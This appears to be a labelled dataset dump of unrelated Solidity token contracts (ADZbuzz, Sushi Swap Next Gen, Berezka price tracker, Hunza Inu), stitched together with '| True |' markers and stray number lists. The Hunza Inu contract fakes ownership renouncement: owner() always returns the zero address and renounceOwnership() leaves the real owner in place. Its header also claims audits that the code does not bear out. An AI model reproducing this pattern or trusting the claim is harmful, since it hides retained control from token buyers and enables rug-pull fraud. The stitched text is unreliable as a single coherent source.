uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT130452";
name = "ADZbuzz Hollywoodreporter.com Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
True
|
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pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint receiverCount = _receivers.length;
uint256 amount = _value.mul(uint256(receiverCount));
/* require(receiverCount > 0 && receiverCount <= 20); */
require(receiverCount > 0);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < receiverCount; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract Sushi_Swap_Next_Gen is CappedToken, PausableToken, BurnableToken {
string public constant name = "Sushi Swap Next Gen";
string public constant symbol = "SUNG";
uint8 public constant decimals = 18;
uint256 private constant TOKEN_CAP = 9000* (10 ** uint256(decimals));
uint256 private constant TOKEN_INITIAL = 9000 * (10 ** uint256(decimals));
function Sushi_Swap_Next_Gen() public CappedToken(TOKEN_CAP) {
totalSupply_ = TOKEN_INITIAL;
balances[msg.sender] = TOKEN_INITIAL;
emit Transfer(address(0), msg.sender, TOKEN_INITIAL);
paused = false;
}
}
|
True
|
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// Copyright (C) 2020 Easy Chain. <https://easychain.tech>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma experimental ABIEncoderV2;
pragma solidity 0.6.5;
interface ERC20 {
function approve(address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
function transferFrom(address, address, uint256) external returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
}
struct ProtocolBalance {
ProtocolMetadata metadata;
AdapterBalance[] adapterBalances;
}
struct ProtocolMetadata {
string name;
string description;
string websiteURL;
string iconURL;
uint256 version;
}
struct AdapterBalance {
AdapterMetadata metadata;
FullTokenBalance[] balances;
}
struct AdapterMetadata {
address adapterAddress;
string adapterType; // "Asset", "Debt"
}
// token and its underlying tokens (if exist) balances
struct FullTokenBalance {
TokenBalance base;
TokenBalance[] underlying;
}
struct TokenBalance {
TokenMetadata metadata;
uint256 amount;
}
// ERC20-style token metadata
// 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE address is used for ETH
struct TokenMetadata {
address token;
string name;
string symbol;
uint8 decimals;
}
struct Component {
address token;
string tokenType; // "ERC20" by default
uint256 rate; // price per full share (1e18)
}
interface IOneSplit {
function getExpectedReturn(
ERC20 fromToken,
ERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
)
external
view
returns(
uint256 returnAmount,
uint256[] memory distribution
);
}
interface IAdapterRegistry {
function getFinalFullTokenBalance(
string calldata tokenType,
address token
)
external
view
returns (FullTokenBalance memory);
function getFullTokenBalance(
string calldata tokenType,
address token
)
external
view
returns (FullTokenBalance memory);
}
interface IBerezkaPriceOverride {
function computePrice(
address _token,
uint256 _amount
)
external
view
returns (uint256);
}
struct AdaptedBalance {
address token;
int256 amount; // can be negative, thus int
}
/**
* @dev BerezkaPriceTracker contract.
* This adapter provides on chain price tracking using 1inch exchange api
* @author Vasin Denis <[email protected]>
*/
contract BerezkaPriceTracker {
string BEREZKA = "Berezka DAO";
ERC20 immutable USDC = ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
ERC20 immutable DAI = ERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
ERC20 immutable USDT = ERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
IOneSplit immutable iOneSplit = IOneSplit(0xC586BeF4a0992C495Cf22e1aeEE4E446CECDee0E);
IAdapterRegistry adapterRegistry;
IBerezkaPriceOverride berezkaPriceOverride;
constructor(address _registryAddress, address _berezkaPriceOverride) public {
require(_registryAddress != address(0), "Regisry address should be set");
require(_berezkaPriceOverride != address(0), "Price Override address should be set");
adapterRegistry = IAdapterRegistry(_registryAddress);
berezkaPriceOverride = IBerezkaPriceOverride(_berezkaPriceOverride);
}
function getPrice(
address _token
)
public
view
returns (int256)
{
AdaptedBalance[] memory nonEmptyBalances
= getNonEmptyTokenBalances(_token);
return _getTokenBalancePrice(nonEmptyBalances);
}
// Internal functions
function _getTokenBalancePrice(
AdaptedBalance[] memory _balances
)
internal
view
returns (int256)
{
int256 result = 0;
uint256 length = _balances.length;
for (uint256 i = 0; i < length; i++) {
result += getTokenPrice(_balances[i].amount, _balances[i].token);
}
return result;
}
function getNonEmptyTokenBalances(
address _token
)
public
view
returns (AdaptedBalance[] memory)
{
FullTokenBalance memory fullTokenBalance
= adapterRegistry.getFinalFullTokenBalance(BEREZKA, _token);
TokenBalance[] memory tokenBalances = fullTokenBalance.underlying;
uint256 count = 0;
uint256 length = tokenBalances.length;
for (uint256 i = 0; i < length; i++) {
if (tokenBalances[i].amount > 0) {
count++;
}
}
AdaptedBalance[] memory result = new AdaptedBalance[](count);
uint256 index = 0;
for (uint256 i = 0; i < length; i++) {
if (tokenBalances[i].amount > 0) {
result[index] = AdaptedBalance(
tokenBalances[i].metadata.token,
normalizeTokenPrice(tokenBalances[i].amount)
);
index++;
}
}
return result;
}
function normalizeTokenPrice(
uint256 _amount
)
public
pure
returns (int256)
{
return int256(_amount * 1e18) / 1e18;
}
function unsignedWithSign(
int256 _amount
)
public
pure
returns (int8, uint256)
{
int8 sign = _amount < 0 ? -1 : int8(1);
uint256 absAmount = _amount < 0 ? uint256(-_amount) : uint256(_amount);
return (sign, absAmount);
}
function getTokenPrice(
int256 _amount,
address _token
)
public
view
returns (int256)
{
int256 result = getOverrideTokenPrice(_amount, _token);
if (result == 0) {
result = getExchangeTokenPrice(_amount, _token);
}
return result;
}
function getOverrideTokenPrice(
int256 _amount,
address _token
)
public
view
returns (int256)
{
(int8 sign, uint256 absAmount) = unsignedWithSign(_amount);
uint256 price = berezkaPriceOverride.computePrice(_token, absAmount);
return sign * int256(price);
}
function getExchangeTokenPrice(
int256 _amount,
address _token
)
public
view
returns (int256)
{
(int8 sign, uint256 absAmount) = unsignedWithSign(_amount);
ERC20 token = ERC20(_token);
uint8 count = 0;
uint256 priceUSDC = _getExpectedReturn(token, USDC, absAmount);
if (priceUSDC > 0) {
count++;
}
uint256 priceUSDT = _getExpectedReturn(token, USDT, absAmount);
if (priceUSDT > 0) {
count++;
}
uint256 priceDAIUSDC = 0;
uint256 priceDAI = _getExpectedReturn(token, DAI, absAmount);
if (priceDAI > 0) {
priceDAIUSDC = _getExpectedReturn(DAI, USDC, priceDAI);
if (priceDAIUSDC > 0) {
count++;
}
}
if (count == 0) {
return 0;
} else {
return sign * int256(((priceUSDC + priceDAIUSDC + priceUSDT) / count));
}
}
function getExpectedReturn(
ERC20 _fromToken,
ERC20 _destToken,
uint256 _amount
)
public
view
returns (uint256)
{
return _getExpectedReturn(_fromToken, _destToken, _amount);
}
function _getExpectedReturn(
ERC20 _fromToken,
ERC20 _destToken,
uint256 _amount
)
internal
view
returns (uint256)
{
try iOneSplit.getExpectedReturn(
_fromToken,
_destToken,
_amount,
1,
0
) returns (uint256 returnAmount, uint256[] memory) {
return returnAmount;
} catch {
return 0;
}
}
}
|
True
|
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2806,
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27425,
1013,
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1014,
2595,
4402,
4402,
4402,
102
] |
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] |
/**
-----------------------------Hunza Inu - HUNZA-----------------------------------
Project Based on the new Etherum Interface
---------------------------------------------------------------------------------
This contracts is secured by Openzeppelin Security audits for distributed systems
---------------------------------------------------------------------------------
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public pure returns (address) {
return address(0);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
